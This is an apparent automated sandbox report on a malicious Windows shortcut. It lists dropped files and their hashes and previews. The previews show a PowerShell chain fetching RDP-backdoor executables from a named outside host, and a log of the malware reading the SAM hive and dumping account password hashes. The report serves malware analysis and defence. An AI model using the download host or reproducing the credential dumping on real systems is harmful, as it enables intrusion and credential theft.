SHA-512:	B1A585ABAE1313E53A023332FF5AD19B308C758ABDA402315A8050588A3D4121F4CA36D422C3FD19B506308F7F0A2F2ED83659AECDA5D8D5FE3DB67955C68D16
Malicious:	false
Preview:	...................................FL..................F.".. ......A........K..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........A......-.K.....K......t...CFSF..1.....&W.<..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......&W.<.Y.[.............................A.p.p.D.a.t.a...B.V.1......Y.[..Roaming.@......&W.<.Y.[..........................f.,.R.o.a.m.i.n.g.....\.1.....+YS6..MICROS~1..D......&W.<.Y.[...........................RN.M.i.c.r.o.s.o.f.t.....V.1......Y.+..Windows.@......&W.<.Y.[..............................W.i.n.d.o.w.s.......1.....&W.<..STARTM~1..n......&W.<.Y.[....................D.......b.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....&W.<..Programs..j......&W.<.Y.[....................@......+}.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......&W.<.Y.*..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......&W.<.Y.[....8...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6LH1W3Z7JY1HKXFH9L0H.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OVO6HPGIF0WN8A4I5YZ5.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7495021484407416
Encrypted:	false
SSDEEP:	96:EiZjRC8eMqkvhkvCCtsexaNkHa2exaNkHo:lRleVxxI1fxId
MD5:	64DECA82C98E10987AF023584B8B3E25
SHA1:	E8C75CF22C555E43BB7405A1B066DA6651541918
SHA-256:	FF2C146BF75A6D87B1B462CF6C7F682B89EFB3A510DA0F480065D5F859EBC9BF
SHA-512:	B1A585ABAE1313E53A023332FF5AD19B308C758ABDA402315A8050588A3D4121F4CA36D422C3FD19B506308F7F0A2F2ED83659AECDA5D8D5FE3DB67955C68D16
Malicious:	false
Preview:	...................................FL..................F.".. ......A........K..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........A......-.K.....K......t...CFSF..1.....&W.<..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......&W.<.Y.[.............................A.p.p.D.a.t.a...B.V.1......Y.[..Roaming.@......&W.<.Y.[..........................f.,.R.o.a.m.i.n.g.....\.1.....+YS6..MICROS~1..D......&W.<.Y.[...........................RN.M.i.c.r.o.s.o.f.t.....V.1......Y.+..Windows.@......&W.<.Y.[..............................W.i.n.d.o.w.s.......1.....&W.<..STARTM~1..n......&W.<.Y.[....................D.......b.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....&W.<..Programs..j......&W.<.Y.[....................@......+}.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......&W.<.Y.*..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......&W.<.Y.[....8...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_2tffuxxb.qfc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4zz0bufw.ck2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kwdr1dhv.e4q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ldrp4fhk.amf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qxkr3pqr.3gn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_toqvfcnn.czt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_utvos3mo.x0d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xirjqwba.lgo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ylj5wljg.0ds.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zezcq4ur.0jj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\deviceId.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.185823555333621
Encrypted:	false
SSDEEP:	3:1FvBhiaTin:Vhun
MD5:	2E34892691A39C064B28C2196A4735CB
SHA1:	3037D60AA679A60A2A690C9EB314C27E8DB33452
SHA-256:	7E677E793E94E3C36E5016ABDA2CF6E6B9E3BA3AEC1DF05E77CC3771967D219E
SHA-512:	63323EB0221FA1FE3A83C65F75803AEE76A338D0685E1036BFAB1EA95636E221471D7CC7CA0D040B8CB183A2F5F8C6C892AD65AF0EA87AA9EB4588E435FE0D81
Malicious:	false
Preview:	.ECA4E7F645CEABCF141D602CC3089672..

C:\Windows\Temp\docsz

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.934868083574915
Encrypted:	false
SSDEEP:	6:IwRJBYzRJBYlr8SJBY4U4GVjWOzE8hkYBdVPGMnpqX:I8sRs8SD8jW8rhkYVlpo
MD5:	EEEBDD827B6D27699BD0E7EDE9D0C190
SHA1:	A4673966530C5761A1D69BDD1B29B53BF6CC4A3B
SHA-256:	B101D86A6B4DEDBFE5863C976452567A727E91247369751845752168F9964EF3
SHA-512:	BCE218B9B04ABB9C6C05C76BFAC40B4043CA1145F635E7E3F8D8A377F4FF2B9E2839CFDEEDDFD592428EE862452A06E4E1A2B7BBCB99030FA1703DFB545A6CF2
Malicious:	false
Preview:	Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..user\|8EB3A1DDA3B8A025E21A55FEA19A1BEC..User1\|9D40E39ADEB5D56955BED3470DA6D02C..

C:\Windows\Temp\dp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.7179360295889174
Encrypted:	false
SSDEEP:	3:QnlVldGlVlil:QdUu
MD5:	A6850FB0659A548ACF3B99814BF23C93
SHA1:	690D23F93EEA833EB4D5B8D20F3938E25E64BB72
SHA-256:	38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
SHA-512:	DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
Malicious:	false
Preview:	..1.9.2.0.x.1.0.8.0.....

C:\Windows\Temp\file

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	98304:QItEWBowFOHzb0sg6jsDNg4WNbpsDFnoDhno/S1w8s/I:QItDBowFOTbk6mNWNbpYtej1w8s/I
MD5:	E6C9E4ABDC9BACE6F54B1ED41622F54F
SHA1:	7FD64CA2D9718F31F05692279F428CB7B8EFF8C6
SHA-256:	2D285378BB1F24AA547EDB806FA18137127882F46EA1A3FA466F2645520233F1
SHA-512:	F1245224972CE79505D184DDE00A94B33D5FD12500A84C31A620BD208DA5913DD09AEC131F9C6A0E4F295F0F04FF9284667408DE209C3B552F25527FC90837FB
Malicious:	false
Preview:	L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e.....Yf..........#....(..F..Q8...............A..........................................a..........................................A..Y...YA..U....a.......................q..................................)...q...A............!^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`udey.....I........................./se`u`..MF3..!^..I3...F.............A..A/e`u`........q...o...1{.............A.../qe`u`................{.............A..A/srsb........a.......o~.............A..A/sdmnb.......q.......u~.............A..C........................................................................................................................................................................................

C:\Windows\Temp\log_rdp_11122024_06.txt

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.24747720871517
Encrypted:	false
SSDEEP:	24:E+Gz3okF+J5U/hB8cacgMWsPhQWswdYmi:E+c3okAJCpRdtWseWsYYmi
MD5:	E4B59484D0EA7CC0A7F30EBA327FBEB0
SHA1:	E8E1BC6AB6B2F93D76B9A4A1741050EC62889037
SHA-256:	B1678399020A191ABEF82B8C88CCF56DAC9368295D8935A617BE400AE7B4DCC7
SHA-512:	F83BB4165A9CAF475C14CA3F1B3550752099CE5591D8D56FEAB6F0473FC2C4033EE67CB314E9ADDBC4BA5831B1FF7963FF52D6C925057E81FB057C2205AB36E8
Malicious:	false
Preview:	18:30:50 - Internet connection..18:30:50 - Begin check server..18:30:56 - Begin connect..18:31:01 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..18:31:01 - Successfully accessed SAM hive...18:31:01 - Reading usernames and encrypted hashes.....18:31:01 - Administrator..18:31:01 - Guest..18:31:01 - DefaultAccount..18:31:01 - WDAGUtilityAccount..18:31:01 - user..18:31:01 - User1..18:31:01 - SAM_Resolution_1920x1080..18:31:02 - SAM_USER_Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..18:31:02 - SAM_USER_Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..18:31:03 - SAM_USER_DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..18:31:03 - SAM_USER_WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..18:31:04 - SAM_USER_user\|8EB3A1DDA3B8A025E21A55FEA19A1BEC..18:31:04 - SAM_USER_User1\|9D40E39ADEB5D56955BED3470DA6D02C..18:31:21 - detect message PING..18:31:21 - PING..

C:\Windows\Temp\myRdpService.exe

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9429504
Entropy (8bit):	6.889775220697302
Encrypted:	false
SSDEEP:	98304:mfhsbOItDNUaBVthhcT/Fe5Yqa5z1bRT6G0EYd+Tj:HbO8N9BH4ToYqopbRT6GLpj
MD5:	5641F3A5B9787F23D3D34F0D9F791B7A
SHA1:	021867C55B5724C28981F58A9A38DBE298057793
SHA-256:	5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
SHA-512:	3E96E1675C96A0CEAD3E7294128CB742D7813F65AB55F907D0F447B966BCD086FB533D25D710E9F9CC5C1781D1819C2F2C86DEBBD94A6A901C9A49AB30430E7B
Malicious:	true
Joe Sandbox View:	Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d.....Xg.........."....).>P...A................@.............................@............`...................................................\|............................ ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managedX.C..`....C..L.............. ..`hydrated`....`P..........................rdata..`t9...l..v9..BP.............@..@.data....x..........................@....pdata...............>..............@..@.rsrc..............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

C:\Windows\Temp\regBackup.reg

Download File

Process:	C:\Windows\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	5492
Entropy (8bit):	3.2564408602149646
Encrypted:	false
SSDEEP:	96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
MD5:	A766DECEF71813234AAF41DB4EF5086E
SHA1:	564473B1CB74ED13E820C62F30642836B8D983C6
SHA-256:	8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
SHA-512:	C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
Malicious:	true
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

C:\Windows\Temp\svczHost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	49152:gAolapw+tVy4CZ79cORdCVhYWXnMdI7pz1YoSBrIc7ywciqQMmLdp1sVOFJHluxx:pgacEZyBpu9r/derR2hs/OLYGMIU9+
MD5:	9298A0077E8353244A38CAEFE43AF4CB
SHA1:	155D0C93E1BA7DD7B22228BEC1A030FAE0678398
SHA-256:	B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A
SHA-512:	34CD8853EEBD3E54393726DF668D5F620EE6AC0FD5967F91A26B2E5F4186CB403A2197D9DE497CB93B3498EBC0E2DF098D122376E0276A15F1D412C7D874D87A
Malicious:	true
Joe Sandbox View:	Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse Filename: MdmRznA6gx.lnk, Detection: malicious, Browse Filename: Cj3OWJHzls.lnk, Detection: malicious, Browse Filename: 3y37oMIUy6.lnk, Detection: malicious, Browse Filename: m9c7iq9nzP.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d.....Xg.........."....)..G..P9...............@..........................................`..........................................@..X...X@..T....`.......................p..................................(...p...@............ _..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydratedx.....H..........................rdata..LG2.. _..H2...G.............@..@.data........p...n...0z.............@....pdata................z.............@..@.rsrc........`.......n..............@..@.reloc.......p.......t..............@..B........................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.498593025747649
Encrypted:	false
SSDEEP:	3:eDLpHWfPdBEyQOKxxTU:eDLp2f0yQdTU
MD5:	21EA0B8574F590A7A1A570A86533C7B0
SHA1:	D58DE119F9DCDB6EC2B35C8485AC34E238CE4DDC
SHA-256:	728DD0E161EB224E66FB37CAA2447C9127AC5E62938D733E6D14F7488A08CAE9
SHA-512:	91B9D6CDD5C32E5D584764A1C37AA295ACDB8882E90FAA311AAFEC1EE52689E2F6344AB57A8F94BB98DB31F8CA8C6B5FBE1996FE85FA54AD21357FE0CC1335C3
Malicious:	false
Preview:	Begin download https://cocomethode.de/StaticFile/RdpService/46..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=347, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	2.7135502388215422
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	WXahq3ZEss.lnk
File size:	5'558 bytes
MD5:	ca5668f76f254af98548c968795c0b8f
SHA1:	c38b299d3f58e921c86ce834cd18d698d3b46ac2
SHA256:	4a776d8329fb48e54bc6a70c8bf755ecce64c3431597d8e2f0f6404f445164db
SHA512:	a8a63b729c6e2f84cca9796af035ab7574d5827ad2c31b9310b66a8a097149864368188bc4bcc8e0a6ea647b6e72268f46f7d266ff42b0b297c37b753f0ca8ca
SSDEEP:	96:8LEtr8rlMvomw/QlZqIz2lE5hgcZFLWiLIxEpUAOh2:8LEp8rlMvomTBL7L7rO
TLSH:	09B1230269EB00C9E16787710FDCF9FF477AF4121A2EBAB51040C7818B31784DA629B9
File Content Preview:	L..................F.B..................................[...................5....P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........system32..B.....................

File Icon


Icon Hash:	69e9a9a9a3a3a1a5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\system32\cmd.exe
